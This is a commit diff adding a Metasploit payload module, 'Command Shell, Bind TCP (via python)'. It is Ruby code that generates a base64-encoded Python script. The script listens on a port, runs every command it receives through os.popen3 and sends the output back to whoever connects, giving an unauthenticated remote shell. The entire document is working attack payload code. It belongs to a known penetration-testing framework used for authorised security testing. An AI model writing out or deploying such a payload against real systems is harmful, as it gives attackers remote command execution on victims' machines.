Land #9115, add python/shell_bind_tcp back

modules/payloads/singles/python/shell_bind_tcp.rb

@@ -0,0 +1,56 @@
+require 'msf/core/handler/bind_tcp'
+require 'msf/core/payload/python'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 401
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name' => 'Command Shell, Bind TCP (via python)',
+      'Description' => 'Creates an interactive shell via python, encodes with base64 by design',
+      'Author' => 'mumbai',
+      'License' => MSF_LICENSE,
+      'Platform' => 'python',
+      'Arch' => ARCH_PYTHON,
+      'Handler' => Msf::Handler::BindTcp,
+      'Session' => Msf::Sessions::CommandShell,
+      'PayloadType' => 'python',
+      'Payload' =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  def generate
+    super + command_string
+  end
+
+  def command_string
+    cmd = ''
+    dead = Rex::Text.rand_text_alpha(2)
+    # Set up the socket
+    cmd << "import socket,os\n"
+    cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
+    cmd << "so.bind(('#{datastore['RHOST']}',#{ datastore['LPORT']}))\n"
+    cmd << "so.listen(1)\n"
+    cmd << "so,addr=so.accept()\n"
+    cmd << "#{dead}=False\n"
+    cmd << "while not #{dead}:\n"
+    cmd << "\tdata=so.recv(1024)\n"
+    cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
+    cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
+    cmd << "\tso.send(stdout_value)\n"
+
+   # base64
+   cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
+   cmd
+ end
+end